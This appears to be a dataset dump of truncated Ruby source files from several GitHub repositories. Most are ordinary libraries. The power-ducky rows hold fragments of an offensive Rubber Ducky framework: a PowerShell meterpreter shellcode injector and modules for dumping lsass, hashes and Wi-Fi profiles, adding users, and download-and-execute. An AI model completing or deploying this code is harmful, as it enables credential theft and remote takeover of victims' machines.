source stringclasses 1
value | repo stringlengths 5 63 | repo_url stringlengths 24 82 | path stringlengths 5 167 | language stringclasses 1
value | license stringclasses 5
values | stars int64 10 51.4k | ref stringclasses 23
values | size_bytes int64 200 258k | text stringlengths 137 258k |
|---|---|---|---|---|---|---|---|---|---|
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/adsf-live.gemspec | Ruby | mit | 96 | main | 970 | # frozen_string_literal: true
require_relative 'lib/adsf/live/version'
Gem::Specification.new do |s|
s.name = 'adsf-live'
s.version = Adsf::Live::VERSION
s.platform = Gem::Platform::RUBY
s.summary = 'livereload support for adsf'
s.description ... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/lib/adsf/live.rb | Ruby | mit | 96 | main | 308 | # frozen_string_literal: true
require 'adsf'
require 'eventmachine'
require 'em-websocket'
require 'json'
require 'listen'
module Adsf
module Live
end
end
require_relative 'live/version'
require_relative 'live/rack_livereload'
require_relative 'live/web_socket_server'
require_relative 'live/watcher' |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/lib/adsf/live/web_socket_server.rb | Ruby | mit | 96 | main | 1,621 | # frozen_string_literal: true
module Adsf
module Live
class WebSocketServer
def initialize(host:, port:)
@host = host
@port = port
@thread = start
@sockets = []
@stopped_waiter = SizedQueue.new(1)
end
def stop
EventMachine.stop
@stopped... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/lib/adsf/live/rack_livereload.rb | Ruby | mit | 96 | main | 2,258 | # frozen_string_literal: true
module Rack
class LiveReload
LIVERELOAD_JS_PATH = '/__rack/livereload.js'
VENDORED_JS_PATH = "#{__dir__}/../../../vendor/livereload.js"
HEAD_TAG_REGEX = /<head( [^<]+)?>/.freeze
LIVERELOAD_PORT = 35_729
LIVERELOAD_SCHEME = 'ws'
def initialize(app, options = {})
... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/lib/adsf/live/watcher.rb | Ruby | mit | 96 | main | 1,153 | # frozen_string_literal: true
module Adsf
module Live
class Watcher
def initialize(root_dir:)
unless Pathname.new(root_dir).absolute?
raise ArgumentError, 'Watcher#initialize: The root_path argument must be an absolute path'
end
@root_dir = root_dir
end
def s... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/test/test_manifest.rb | Ruby | mit | 96 | main | 542 | # frozen_string_literal: true
require 'helper'
class Adsf::Live::ManifestTest < Minitest::Test
def test_has_correct_manifest
manifest_lines =
File.readlines('adsf-live.manifest').map(&:chomp).reject(&:empty?)
gemspec = eval(File.read('adsf-live.gemspec'), binding, 'adsf-live.gemspec')
gemspec_li... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/test/test_watcher.rb | Ruby | mit | 96 | main | 2,114 | # frozen_string_literal: true
require 'helper'
class Adsf::Live::WatcherTest < Minitest::Test
include Rack::Test::Methods
include Adsf::Test::Helpers
def run_watcher(root_dir: nil)
FileUtils.mkdir_p('public')
root_dir ||= File.expand_path('public')
watcher = Adsf::Live::Watcher.new(root_dir: root_d... |
github | denisdefreyne/adsf | https://github.com/denisdefreyne/adsf | adsf-live/test/helper.rb | Ruby | mit | 96 | main | 642 | # frozen_string_literal: true
require 'simplecov'
SimpleCov.start
SimpleCov.command_name 'test:adsf-live'
require 'faye/websocket'
require 'rack/test'
require 'minitest/autorun'
require 'net/http'
require 'rack'
require 'adsf/live'
module Adsf::Test
module Rack; end
end
module Adsf::Test::Helpers
def setup
... |
github | fluttercommunity/get_version | https://github.com/fluttercommunity/get_version | example/macos/Podfile | Ruby | mit | 96 | master | 2,643 | platform :osx, '10.11'
# CocoaPods analytics sends network stats synchronously affecting flutter build latency.
ENV['COCOAPODS_DISABLE_STATS'] = 'true'
project 'Runner', {
'Debug' => :debug,
'Profile' => :release,
'Release' => :release,
}
def parse_KV_file(file, separator='=')
file_abs_path = File.expand_pat... |
github | fluttercommunity/get_version | https://github.com/fluttercommunity/get_version | example/ios/Podfile | Ruby | mit | 96 | master | 3,435 | # Uncomment this line to define a global platform for your project
# platform :ios, '9.0'
# CocoaPods analytics sends network stats synchronously affecting flutter build latency.
ENV['COCOAPODS_DISABLE_STATS'] = 'true'
project 'Runner', {
'Debug' => :debug,
'Profile' => :release,
'Release' => :release,
}
def p... |
github | todesking/okura | https://github.com/todesking/okura | okura.gemspec | Ruby | mit | 96 | master | 616 | Gem::Specification.new do |s|
s.name = 'okura'
s.summary = "Pure ruby morpheme analyzer"
s.description = "Pure ruby morpheme analyzer, using MeCab format dic"
s.authors = ["@todesking"]
s.email = 'discommunicative@gmail.com'
s.homepage = 'https://github.com/todesking/okura'
s.add_... |
github | todesking/okura | https://github.com/todesking/okura | lib/okura.rb | Ruby | mit | 96 | master | 9,782 | # -*- coding: utf-8 -*-
require 'okura/word_dic'
module Okura
class Tagger
def initialize dic,mat
@dic,@mat=dic,mat
end
attr_reader :dic
attr_reader :mat
# -> [String]
def wakati str
mincost_path=parse(str).mincost_path
return nil if mincost_path.nil?
return mincost... |
github | todesking/okura | https://github.com/todesking/okura | lib/okura/parser.rb | Ruby | mit | 96 | master | 2,773 | # -*- coding: utf-8 -*-
module Okura
module Parser
def parse_error line
raise 'parse error: '+line
end
module Base
def initialize io
@io=io
end
include Enumerable
def each &b
return Enumerator.new(self) unless b
@io.each_line {|line|
b.... |
github | todesking/okura | https://github.com/todesking/okura | lib/okura/console.rb | Ruby | mit | 96 | master | 597 | # -*- coding: utf-8 -*-
require 'okura'
require 'okura/serializer'
module Okura
class Console
def run_console dict_dir
tagger=Okura::Serializer::FormatInfo.create_tagger(dict_dir)
print 'okura> '
while $stdin.gets
nodes=tagger.parse($_.strip)
(0...nodes.length).each{|i|
... |
github | todesking/okura | https://github.com/todesking/okura | lib/okura/serializer.rb | Ruby | mit | 96 | master | 10,488 | # -*- coding: utf-8 -*-
require 'yaml'
require 'okura'
require 'okura/parser'
module Okura
module Serializer
# 辞書ファイルのコンパイル形式を表現し、コンパイルとロードの制御を担当する
class FormatInfo
def initialize
@word_dic=:DoubleArray
@unk_dic=:Marshal
@features=:Marshal
@char_types=:Marshal
@... |
github | todesking/okura | https://github.com/todesking/okura | lib/okura/word_dic.rb | Ruby | mit | 96 | master | 6,014 | # -*- coding: utf-8 -*-
module Okura
module WordDic
class Naive
def initialize
@size=0
@root=TrieNode.new
end
class TrieNode
def initialize
@nodes={}
@leafs=[]
end
def add word,i=0
if i==word.surface.length
@lea... |
github | todesking/okura | https://github.com/todesking/okura | test/okura_spec.rb | Ruby | mit | 96 | master | 22,360 | # -*- coding: utf-8 -*-
require File.join(File.dirname(__FILE__),'spec_helper.rb')
require File.join(File.dirname(__FILE__),'..','lib','okura')
require File.join(File.dirname(__FILE__),'..','lib','okura','parser')
require File.join(File.dirname(__FILE__),'..','lib','okura','serializer')
require 'tmpdir'
def with_dic... |
github | todesking/okura | https://github.com/todesking/okura | test/words_spec.rb | Ruby | mit | 96 | master | 916 | # -*- coding: utf-8 -*-
require File.join(File.dirname(__FILE__),'..','lib','okura')
describe Okura::Words::Builder do
def f n
Okura::Feature.new n,"F#{n}"
end
W=Okura::Word
it '単語を表記ごとに分類できる' do
wsb=Okura::Words::Builder.new
w1=W.new('w',f(1),f(2),100)
w2=W.new('w',f(2),f(3),200)
w3=W.ne... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | rubykiq.gemspec | Ruby | mit | 96 | master | 1,320 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'rubykiq/version'
Gem::Specification.new do |spec|
spec.name = 'rubykiq'
spec.version = Rubykiq::VERSION
spec.authors = ['Karl Freeman']
spec.email = ['karlfre... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | Gemfile | Ruby | mit | 96 | master | 211 | source 'https://rubygems.org'
gemspec
gem 'hiredis', '>= 0.4.5'
gem 'em-synchrony'
group :test do
gem 'rake', '~> 10.0'
gem 'rspec'
gem 'rspec-its'
gem 'timecop'
gem 'codeclimate-test-reporter'
end |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | Rakefile | Ruby | mit | 96 | master | 379 | require 'bundler'
Bundler.setup
Bundler::GemHelper.install_tasks
require 'rspec/core/rake_task'
desc 'Run all examples'
RSpec::Core::RakeTask.new(:spec)
begin
require 'yard'
YARD::Rake::YardocTask.new
rescue LoadError
end
begin
require 'rubocop/rake_task'
desc 'Run rubocop'
RuboCop::RakeTask.new(:rubocop)
... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | lib/rubykiq.rb | Ruby | mit | 96 | master | 829 | require 'thread'
require 'forwardable'
require 'rubykiq/client'
require 'rubykiq/connection'
module Rubykiq
extend SingleForwardable
def_delegators :client, :<<, :push, :connection_pool, :connection_pool=
# delegate all VALID_OPTIONS_KEYS accessors to the client
def_delegators :client, *Rubykiq::Client::VALI... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | lib/rubykiq/connection.rb | Ruby | mit | 96 | master | 1,087 | require 'redis'
require 'redis/namespace'
module Rubykiq
class Connection
extend Forwardable
def_delegators :@redis_connection, :multi, :namespace, :sadd, :zadd, :lpush, :lpop, :lrange, :llen, :zcard, :zrange, :flushdb
def_delegators :@redis_client, :host, :port, :db, :password
# Initialize a new Co... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | lib/rubykiq/client.rb | Ruby | mit | 96 | master | 7,081 | require 'time'
require 'thread'
require 'multi_json'
require 'securerandom'
require 'connection_pool'
module Rubykiq
class Client
# An array of valid keys in the options hash when configuring a `Rubykiq::Client`
VALID_OPTIONS_KEYS = [
:redis_pool_size,
:redis_pool_timeout,
:url,
:name... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | spec/spec_helper.rb | Ruby | mit | 96 | master | 566 | $LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
require 'bundler'
Bundler.setup
%w(support).each do |dir|
Dir.glob(File.expand_path("../#{dir}/**/*.rb", __FILE__), &method(:require))
end
require 'rubykiq'
require 'rspec/its'
RSpec.configure do |config|
config.expect_with :rspec do |c|
c.s... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | spec/unit/rubykiq_spec.rb | Ruby | mit | 96 | master | 979 | require 'spec_helper'
describe Rubykiq do
describe :client do
it 'should return a Client' do
expect(Rubykiq.client).to be_kind_of(Rubykiq::Client)
end
it 'should be thread safe' do
t1 = Thread.new { client = Rubykiq.client; sleep 0.1; client }
t2 = Thread.new { Rubykiq.client }
e... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | spec/unit/client_spec.rb | Ruby | mit | 96 | master | 4,414 | require 'spec_helper'
require 'hiredis'
require 'em-synchrony'
describe Rubykiq::Client do
before(:all) { Timecop.freeze }
after(:all) { Timecop.return }
let(:ruby_client) { Rubykiq::Client.new(driver: :ruby, namespace: :ruby) }
let(:hiredis_client) { Rubykiq::Client.new(driver: :hiredis, namespace: :hiredis) ... |
github | karlfreeman/rubykiq | https://github.com/karlfreeman/rubykiq | spec/unit/connection_spec.rb | Ruby | mit | 96 | master | 1,235 | require 'spec_helper'
describe Rubykiq::Connection do
describe :defaults do
subject { Rubykiq::Connection.new }
its(:namespace) { should be_nil }
its(:host) { should eq 'localhost' }
its(:port) { should be 6379 }
its(:db) { should be 0 }
its(:password) { should be_nil }
end
describe :opt... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | power_ducky.rb | Ruby | mit | 96 | master | 556 | #!/usr/bin/env ruby
require 'optparse'
options = {}
OptionParser.new do |opts|
options[:version] = '2.0 - Power Ducky Rewrite'
opts.on_tail('--help', 'Display this screen') do
puts opts
puts
exit
end
opts.parse!
end
frame_work = __FILE__
frame_work = File.readlink(frame_work) while File.symlink?(f... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/core.rb | Ruby | mit | 96 | master | 2,970 | #!/usr/bin/env ruby
require 'fileutils'
require 'open3'
require 'readline'
module Core
module Commands
def print_error(text)
puts "\e[31;1m[-]\e[0m #{text}"
end
def print_info(text)
puts "\e[34;1m[*]\e[0m #{text}"
end
def print_success(text)
puts "\e[32;1m[+]\e[0m #{text}"
... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/skeleton.rb | Ruby | mit | 96 | master | 595 | #!/usr/bin/env ruby
require 'core'
require 'server_setup'
require 'ducky_setup'
# Class that all modules will inheart from making it easier to create modules
class Skeleton
include Core::Commands
include Core::Files
class << self
attr_accessor :title, :description
end
def initialize
system('clear')
... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/ducky_setup.rb | Ruby | mit | 96 | master | 2,730 | #!/usr/bin/env ruby
require 'core'
include Core::Commands
module Ducky
class Writer
def menu
_options.each do |key, ops|
puts "#{key}) #{ops}"
end
rgets('Choice: ', '3')
end
def write(choice)
_options_lambda[choice.to_sym].call
rescue => e
puts print_error(e)
... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/guide.rb | Ruby | mit | 96 | master | 821 | #!/usr/bin/env ruby
require 'menu'
require 'menus'
class Guide < Menu
def initialize(options)
# TODO: menu optoins need to include:
# msf path, text path
Menu.opts = {}
Menu.opts[:banner] = {
host: Menu.opts[:server] || 'No Server started',
ports: Menu.opts[:port] || 'No Ports used'
}... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/banners.rb | Ruby | mit | 96 | master | 3,714 | #!/usr/bin/env ruby
module Banners
def main_banner
"
____ ____ __
/ __ \\____ _ _____ _____ / __ \\__ _______/ /____ __
/ /_/ / __ \\ | /| / / _ \\/ ___/ / / / / / / / ___/ //_/ / / /
/ ____/ /_/ / |/ |/ / __/ / / /_/ / /_/ / /__/ ,... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/powershell_commands.rb | Ruby | mit | 96 | master | 9,104 | #!/usr/bin/env ruby
# Thanks to:
# @mattifestation, @obscuresec, and @HackingDave
module PowershellCommands
def powershell_reverse_meterpreter(shellcode)
powershell_command = %($1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ui... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/server_setup.rb | Ruby | mit | 96 | master | 4,999 | #!/usr/bin/env ruby
require 'socket'
require 'openssl'
require 'core'
require 'uri'
include Core::Commands
module Server
class Setup
include Core::Files
def ssl(host, port)
tcp_server = TCPServer.new(host, port)
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert = OpenSSL::X509::Certificate.new(
... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/menu.rb | Ruby | mit | 96 | master | 1,847 | #!/usr/bin/env ruby
require 'core'
require 'guide'
class Menu
include Core::Commands
class << self
attr_accessor :title, :path, :description, :opts
end
def initialize
files = Dir.glob("#{File.dirname(__FILE__)}/#{self.class.path}/*.rb")
load_modules(files).to_a
end
def main_menu(options, back... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/metasploit.rb | Ruby | mit | 96 | master | 3,823 | #!/usr/bin/env ruby
require 'core'
require 'base64'
include Core::Commands
module Msf
module Options
def hex_to_bin(file_name, hex_string)
File.open(file_name, 'w') do |f|
# f.write(hex_string.scan(/../).map { |x| x.hex }.pack('c*'))
f.write(hex_string.scan(/../).map(&:hex))
end
e... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/cmd/add_local_user.rb | Ruby | mit | 96 | master | 973 | #!/usr/bin/env ruby
require 'skeleton'
class AddUser < Skeleton
attr_reader :ducky
self.title = 'Add User'
self.description = 'Add User to Local Machine'
def setup
@user = ''
@user = rgets('Username: ') while @user == ''
@pass = ''
@pass = rgets('Password: ') while @pass == ''
@priv = ''
... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/powershell/lsass_dump.rb | Ruby | mit | 96 | master | 3,032 | #!/usr/bin/env ruby
## Thanks to:
# @mattifestation
require 'skeleton'
class LsassDump < Skeleton
attr_reader :ducky
self.title = 'Lsass Dump TCP'
self.description = 'Dump lsass process memory, and send it over TCP'
def setup
@host = @server_setup.host
@port = @server_setup.port
@ssl = @server_setu... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/powershell/hash_dump.rb | Ruby | mit | 96 | master | 2,185 | #!/usr/bin/env ruby
require 'skeleton'
require 'metasploit'
class HashDump < Skeleton
include Msf::Options
attr_reader :ducky
self.title = 'Hash Dump TCP'
self.description = 'Dump hashes from victim machine, and send them over TCP'
def setup
@host = @server_setup.host
@port = @server_setup.port
@... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/powershell/meterpreter.rb | Ruby | mit | 96 | master | 3,687 | #!/usr/bin/env ruby
# Thanks to:
# @mattifestation, @obscuresec, and @HackingDave
require 'skeleton'
require 'metasploit'
class Meterpreter < Skeleton
include Msf::Options
attr_reader :ducky
self.title = 'Launch Meterpreter'
self.description = 'Download and Execute meterpreter shellcode '
description << 'from... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/powershell/wifi_dump.rb | Ruby | mit | 96 | master | 2,197 | #!/usr/bin/env ruby
require 'skeleton'
class WIFIDump < Skeleton
attr_reader :ducky
self.title = 'WIFI Dump TCP'
self.description = 'Dump WIFI profiles, and send it over TCP'
def setup
@host = @server_setup.host
@port = @server_setup.port
@ssl = @server_setup.use_ssl?
end
def run
return un... |
github | jamesbcook/power-ducky | https://github.com/jamesbcook/power-ducky | lib/modules/powershell/wget_execute.rb | Ruby | mit | 96 | master | 2,198 | #!/usr/bin/env ruby
require 'skeleton'
require 'metasploit'
class WgetExecute < Skeleton
include Msf::Options
attr_reader :ducky
self.title = 'WGET Execute'
self.description = 'Download and Execute binary file '
def setup
@host = @server_setup.host
@port = @server_setup.port
@ssl = @server_setup.... |
github | kremso/serenity | https://github.com/kremso/serenity | Rakefile | Ruby | mit | 96 | master | 1,034 | require 'rake'
require 'spec/rake/spectask'
require 'rake/gempackagetask'
task :default => [:spec]
Spec::Rake::SpecTask.new("spec")
spec = Gem::Specification.new do |s|
s.name = %q{serenity-odt}
s.version = "0.2.2"
s.authors = ["Tomas Kramar"]
s.description = <<-EOF
Embedded ruby for OpenOffice Text Doc... |
github | kremso/serenity | https://github.com/kremso/serenity | serenity-odt.gemspec | Ruby | mit | 96 | master | 753 | # Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = "serenity-odt"
s.version = "0.2.2"
s.authors = "kremso"
s.email = ""
s.homepage = "https://github.com/kremso/serenity"
s.summary = "Parse ODT file and substitutes placeholders like ERb."
s.... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/spec_helper.rb | Ruby | mit | 96 | master | 474 | $:.unshift(File.join(File.dirname(__FILE__), "..", "lib"))
require 'rubygems'
require 'serenity'
require 'ruby-debug'
require 'rspec'
Dir[File.dirname(__FILE__) + "/support/**/*.rb"].each {|f| require f}
Ship = Struct.new(:name, :type)
Person = Struct.new(:name, :skill)
def fixture name
File.join(File.dirname(__F... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/odteruby_spec.rb | Ruby | mit | 96 | master | 3,456 | require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
module Serenity
describe OdtEruby do
before(:each) do
name = 'test_name'
type = 'test_type'
rows = []
rows << Ship.new('test_name_1', 'test_type_1')
rows << Ship.new('test_name_2', 'test_type_2')
@context = bin... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/xml_reader_spec.rb | Ruby | mit | 96 | master | 1,583 | require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
module Serenity
Node = Struct.new(:text, :type)
describe XmlReader do
it "should stream the xml, tag by tag" do
xml = <<-EOF
<?xml version="1.0" encoding="UTF-8"?><office:document-content><office:scripts/>
<office:bo... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/template_spec.rb | Ruby | mit | 96 | master | 2,861 | # encoding: utf-8
require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
require 'fileutils'
module Serenity
describe Template do
after(:each) do
# FileUtils.rm(Dir['*.odt'])
end
it "should process a document with simple variable substitution" do
@name = 'Malcolm Reynolds'
... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/generator_spec.rb | Ruby | mit | 96 | master | 641 | require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
module Serenity
describe Generator do
after(:each) do
FileUtils.rm(fixture('loop_output.odt'))
end
it 'should make context from instance variables and run the provided template' do
class GeneratorClient
include Serenit... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/escape_xml_spec.rb | Ruby | mit | 96 | master | 431 | require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
describe String do
it 'should escape <' do
'1 < 2'.escape_xml.should == '1 < 2'
end
it 'should escape >' do
'2 > 1'.escape_xml.should == '2 > 1'
end
it 'should escape &' do
'1 & 2'.escape_xml.should == '1 & 2'
end
... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/support/matchers/contain_in.rb | Ruby | mit | 96 | master | 568 | # encoding: utf-8
require "zip/zip"
module Serenity
RSpec::Matchers.define :contain_in do |xml_file, expected|
match do |actual|
content = Zip::ZipFile.open(actual) { |zip_file| zip_file.read(xml_file) }
content.force_encoding("UTF-8")
content =~ Regexp.new(".*#{Regexp.escape(expected)}.*")
... |
github | kremso/serenity | https://github.com/kremso/serenity | spec/support/matchers/be_a_document.rb | Ruby | mit | 96 | master | 340 | module Serenity
RSpec::Matchers.define :be_a_document do
match do |actual|
File.exists? actual
end
failure_message_for_should do |actual|
"expected that a file #{actual} would exist"
end
failure_message_for_should_not do |actual|
"expected that a file #{actual} would not exist"... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity.rb | Ruby | mit | 96 | master | 278 | require 'rubygems'
require 'serenity/line'
require 'serenity/debug'
require 'serenity/node_type'
require 'serenity/escape_xml'
require 'serenity/odteruby'
require 'serenity/images_processor'
require 'serenity/template'
require 'serenity/xml_reader'
require 'serenity/generator' |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/template.rb | Ruby | mit | 96 | master | 968 | require 'zip/zip'
require 'fileutils'
module Serenity
class Template
attr_accessor :template
def initialize(template, output)
FileUtils.cp(template, output)
@template = output
end
def process context
tmpfiles = []
Zip::ZipFile.open(@template) do |zipfile|
%w(content.... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/generator.rb | Ruby | mit | 96 | master | 374 | module Serenity
module Generator
def render_odt template_path, output_path = output_name(template_path)
template = Template.new template_path, output_path
template.process binding
end
private
def output_name input
if input =~ /(.+)\.odt\Z/
"#{$1}_output.odt"
else
... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/xml_reader.rb | Ruby | mit | 96 | master | 630 | module Serenity
class XmlReader
def initialize src
@src = src.force_encoding("UTF-8")
end
def each_node
last_match_pos = 0
@src.scan(/<.*?>/) do |node|
m = Regexp.last_match
if m.begin(0) > last_match_pos
text = @src[last_match_pos...m.begin(0)]
yie... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/images_processor.rb | Ruby | mit | 96 | master | 831 | module Serenity
class ImagesProcessor
include Debug
IMAGE_DIR_NAME = "Pictures"
def initialize(xml_content, context)
@replacements = []
@images = eval('@images', context)
@xml_content = xml_content
end
def generate_replacements
require 'nokogiri'
if @images && @im... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/odteruby.rb | Ruby | mit | 96 | master | 2,023 | module Serenity
class OdtEruby
include Debug
EMBEDDED_PATTERN = /\{%([=%]+)?(.*?)-?%\}/m
def initialize template
@src = convert template
if debug?
File.open(debug_file_path, 'w') do |f|
f << @src
end
end
end
def evaluate context
@src = @src.forc... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/line.rb | Ruby | mit | 96 | master | 1,113 | module Serenity
class Line
attr_reader :text
def initialize text
@text = text
end
def to_s
@text
end
def self.text txt
TextLine.new txt
end
def self.code txt
CodeLine.new txt
end
def self.string txt
StringLine.new txt
end
def self.lit... |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/debug.rb | Ruby | mit | 96 | master | 313 | module Serenity
module Debug
def debug?
false
end
def debug_file_path
File.join(debug_dir, debug_file_name)
end
def debug_file_name
"serenity_debug_#{rand(100)}.rb"
end
def debug_dir
File.join(File.dirname(__FILE__), '..', '..', 'debug')
end
end
end |
github | kremso/serenity | https://github.com/kremso/serenity | lib/serenity/escape_xml.rb | Ruby | mit | 96 | master | 403 | class String
def escape_xml
mgsub!([[/&/, '&'], [/</, '<'], [/>/, '>']])
end
def convert_newlines
gsub!("\n", '<text:line-break/>')
self
end
def mgsub!(key_value_pairs=[].freeze)
regexp_fragments = key_value_pairs.collect { |k,v| k }
gsub!(Regexp.union(*regexp_fragments)) do |m... |
github | kremso/serenity | https://github.com/kremso/serenity | showcase/showcase.rb | Ruby | mit | 96 | master | 838 | #!/usr/bin/env ruby
$:.unshift(File.join(File.dirname(__FILE__), "..", "lib"))
require 'serenity'
class Showcase
include Serenity::Generator
Person = Struct.new(:name, :items)
Item = Struct.new(:name, :usage)
def generate_showcase
@title = 'Serenity inventory'
mals_items = [Item.new('Moses Brother... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | fastly.gemspec | Ruby | mit | 96 | main | 1,962 | # -*- encoding: utf-8 -*-
=begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administrati... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | Rakefile | Ruby | mit | 96 | main | 688 | require "bundler/gem_tasks"
# Override Bundler's default `release` task to avoid pushing git tags.
#
# Our release workflow is triggered by a tag push in GitHub Actions and
# publishes the gem using `rubygems/release-gem` (trusted publishing).
# The default Bundler task would also try to create and push a git tag,
# w... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly.rb | Ruby | mit | 96 | main | 50,958 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/api_client.rb | Ruby | mit | 96 | main | 14,521 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/configuration.rb | Ruby | mit | 96 | main | 113,555 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/version.rb | Ruby | mit | 96 | main | 698 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/api_error.rb | Ruby | mit | 96 | main | 1,769 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/tls_private_keys_response_all_of.rb | Ruby | mit | 96 | main | 6,916 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/logging_datadog_response.rb | Ruby | mit | 96 | main | 17,975 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/invitations_response.rb | Ruby | mit | 96 | main | 7,477 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/logging_bigquery_response.rb | Ruby | mit | 96 | main | 15,973 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/package.rb | Ruby | mit | 96 | main | 6,825 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/relationship_default_tls_certificate_default_certificate_data.rb | Ruby | mit | 96 | main | 7,230 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/service_invitation.rb | Ruby | mit | 96 | main | 6,821 | =begin
#Fastly API
